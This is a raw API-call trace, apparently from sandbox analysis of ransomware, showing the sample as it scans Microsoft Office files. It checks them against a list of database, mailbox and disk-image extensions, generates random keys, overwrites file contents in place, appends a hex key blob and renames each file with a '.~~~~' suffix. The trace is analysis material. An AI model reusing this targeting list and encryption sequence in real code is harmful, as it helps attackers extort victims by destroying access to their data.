	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".TXT") returned 0x0
	[0138.842] lstrlenW (lpString=".MDF") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".MDF") returned 0x0
	[0138.842] lstrlenW (lpString=".bdb") returned 4
	[0138.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".bdb") returned 0x0
	[0138.842] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.843] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.844] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.844] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.844] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25883444761) returned 1
	[0138.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbc2deb30, dwHighDateTime=0x1d60e1e)) 
	[0138.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825dd8
	[0138.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825dd8 | out: hHeap=0x300000) returned 1
	[0138.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3997b8
	[0138.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0138.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3997b8 | out: hHeap=0x300000) returned 1
	[0138.845] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.845] GetLastError () returned 0x0
	[0138.846] GetLastError () returned 0x0
	[0138.846] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.846] GetLastError () returned 0x0
	[0138.846] GetLastError () returned 0x0
	[0138.846] ReadFile (in: hFile=0x108, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.967] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.967] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.970] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.971] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.971] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.971] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.973] CloseHandle (hObject=0x108) returned 1
	[0139.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x399ba8
	[0139.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css.~~~~")) returned 1
	[0139.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0139.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0139.737] GetLastError () returned 0x0
	[0139.737] RtlWakeConditionVariable () returned 0x0
	[0139.738] GetCurrentThreadId () returned 0xaf0
	[0139.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".scr") returned 0x0
	[0139.738] lstrlenW (lpString=".cmd") returned 4
	[0139.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".cmd") returned 0x0
	[0139.738] lstrlenW (lpString=".dll") returned 4
	[0139.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dll") returned 0x0
	[0139.738] lstrlenW (lpString=".bat") returned 4
	[0139.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".bat") returned 0x0
	[0139.738] lstrlenW (lpString=".cpl") returned 4
	[0139.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".cpl") returned 0x0
	[0139.738] lstrlenW (lpString=".sys") returned 4
	[0139.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".sys") returned 0x0
	[0139.738] lstrlenW (lpString=".msc") returned 4
	[0139.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".msc") returned 0x0
	[0139.738] lstrlenW (lpString=".com") returned 4
	[0139.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".com") returned 0x0
	[0139.739] lstrlenW (lpString=".lnk") returned 4
	[0139.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".lnk") returned 0x0
	[0139.739] lstrlenW (lpString=".msp") returned 4
	[0139.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".msp") returned 0x0
	[0139.739] lstrlenW (lpString=".pif") returned 4
	[0139.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".pif") returned 0x0
	[0139.739] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0139.741] lstrlenW (lpString=".sqb") returned 4
	[0139.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".sqb") returned 0x0
	[0139.741] lstrlenW (lpString=".ost") returned 4
	[0139.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".ost") returned 0x0
	[0139.741] lstrlenW (lpString=".txt") returned 4
	[0139.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".txt") returned 0x0
	[0139.741] lstrlenW (lpString=".mdt") returned 4
	[0139.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".mdt") returned 0x0
	[0139.741] lstrlenW (lpString=".BDB") returned 4
	[0139.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".BDB") returned 0x0
	[0139.741] lstrlenW (lpString=".eql") returned 4
	[0139.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".eql") returned 0x0
	[0139.741] lstrlenW (lpString=".DBF") returned 4
	[0139.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DBF") returned 0x0
	[0139.741] lstrlenW (lpString=".EQL") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".EQL") returned 0x0
	[0139.742] lstrlenW (lpString=".FDB") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".FDB") returned 0x0
	[0139.742] lstrlenW (lpString=".EDB") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".EDB") returned 0x0
	[0139.742] lstrlenW (lpString=".DACPAC") returned 7
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.742] lstrlenW (lpString=".VHD") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".VHD") returned 0x0
	[0139.742] lstrlenW (lpString=".DBV") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DBV") returned 0x0
	[0139.742] lstrlenW (lpString=".dacpac") returned 7
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dacpac") returned 0x0
	[0139.742] lstrlenW (lpString=".sdf") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".sdf") returned 0x0
	[0139.742] lstrlenW (lpString=".accdb") returned 6
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".accdb") returned 0x0
	[0139.742] lstrlenW (lpString=".DBX") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DBX") returned 0x0
	[0139.742] lstrlenW (lpString=".MDT") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".MDT") returned 0x0
	[0139.742] lstrlenW (lpString=".SQB") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".SQB") returned 0x0
	[0139.742] lstrlenW (lpString=".vhd") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".vhd") returned 0x0
	[0139.742] lstrlenW (lpString=".bac") returned 4
	[0139.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".bac") returned 0x0
	[0139.743] lstrlenW (lpString=".mdf") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".mdf") returned 0x0
	[0139.743] lstrlenW (lpString=".BAK") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".BAK") returned 0x0
	[0139.743] lstrlenW (lpString=".BAC") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".BAC") returned 0x0
	[0139.743] lstrlenW (lpString=".dbs") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dbs") returned 0x0
	[0139.743] lstrlenW (lpString=".vhdx") returned 5
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".vhdx") returned 0x0
	[0139.743] lstrlenW (lpString=".NDF") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".NDF") returned 0x0
	[0139.743] lstrlenW (lpString=".dat") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dat") returned 0x0
	[0139.743] lstrlenW (lpString=".DBS") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DBS") returned 0x0
	[0139.743] lstrlenW (lpString=".CKP") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".CKP") returned 0x0
	[0139.743] lstrlenW (lpString=".edb") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".edb") returned 0x0
	[0139.743] lstrlenW (lpString=".PST") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".PST") returned 0x0
	[0139.743] lstrlenW (lpString=".dbf") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dbf") returned 0x0
	[0139.743] lstrlenW (lpString=".SQL") returned 4
	[0139.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".SQL") returned 0x0
	[0139.743] lstrlenW (lpString=".pst") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".pst") returned 0x0
	[0139.744] lstrlenW (lpString=".dbv") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dbv") returned 0x0
	[0139.744] lstrlenW (lpString=".SDF") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".SDF") returned 0x0
	[0139.744] lstrlenW (lpString=".dtxs") returned 5
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dtxs") returned 0x0
	[0139.744] lstrlenW (lpString=".db3") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".db3") returned 0x0
	[0139.744] lstrlenW (lpString=".OST") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".OST") returned 0x0
	[0139.744] lstrlenW (lpString=".dbx") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dbx") returned 0x0
	[0139.744] lstrlenW (lpString=".DB3") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DB3") returned 0x0
	[0139.744] lstrlenW (lpString=".DAT") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DAT") returned 0x0
	[0139.744] lstrlenW (lpString=".VHDX") returned 5
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".VHDX") returned 0x0
	[0139.744] lstrlenW (lpString=".ndf") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".ndf") returned 0x0
	[0139.744] lstrlenW (lpString=".DB") returned 3
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DB") returned 0x0
	[0139.744] lstrlenW (lpString=".sql") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".sql") returned 0x0
	[0139.744] lstrlenW (lpString=".MYD") returned 4
	[0139.744] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".MYD") returned 0x0
	[0139.745] lstrlenW (lpString=".DBT") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DBT") returned 0x0
	[0139.745] lstrlenW (lpString=".ACCDB") returned 6
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.745] lstrlenW (lpString=".fdb") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".fdb") returned 0x0
	[0139.745] lstrlenW (lpString=".bak") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".bak") returned 0x0
	[0139.745] lstrlenW (lpString=".myd") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".myd") returned 0x0
	[0139.745] lstrlenW (lpString=".DTXS") returned 5
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".DTXS") returned 0x0
	[0139.745] lstrlenW (lpString=".ckp") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".ckp") returned 0x0
	[0139.745] lstrlenW (lpString=".dbt") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".dbt") returned 0x0
	[0139.745] lstrlenW (lpString=".db") returned 3
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".db") returned 0x0
	[0139.745] lstrlenW (lpString=".TXT") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".TXT") returned 0x0
	[0139.745] lstrlenW (lpString=".MDF") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".MDF") returned 0x0
	[0139.745] lstrlenW (lpString=".bdb") returned 4
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".bdb") returned 0x0
	[0139.745] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.745] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0139.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.746] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0139.747] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.747] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0139.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0139.747] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25973744943) returned 1
	[0139.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbcb59990, dwHighDateTime=0x1d60e1e)) 
	[0139.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0139.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0139.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0139.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825f98
	[0139.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825f98 | out: hHeap=0x300000) returned 1
	[0139.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399e48
	[0139.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399e48 | out: hHeap=0x300000) returned 1
	[0139.748] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0139.749] GetLastError () returned 0x0
	[0139.749] GetLastError () returned 0x0
	[0139.749] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0139.749] GetLastError () returned 0x0
	[0139.749] GetLastError () returned 0x0
	[0139.749] ReadFile (in: hFile=0x114, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
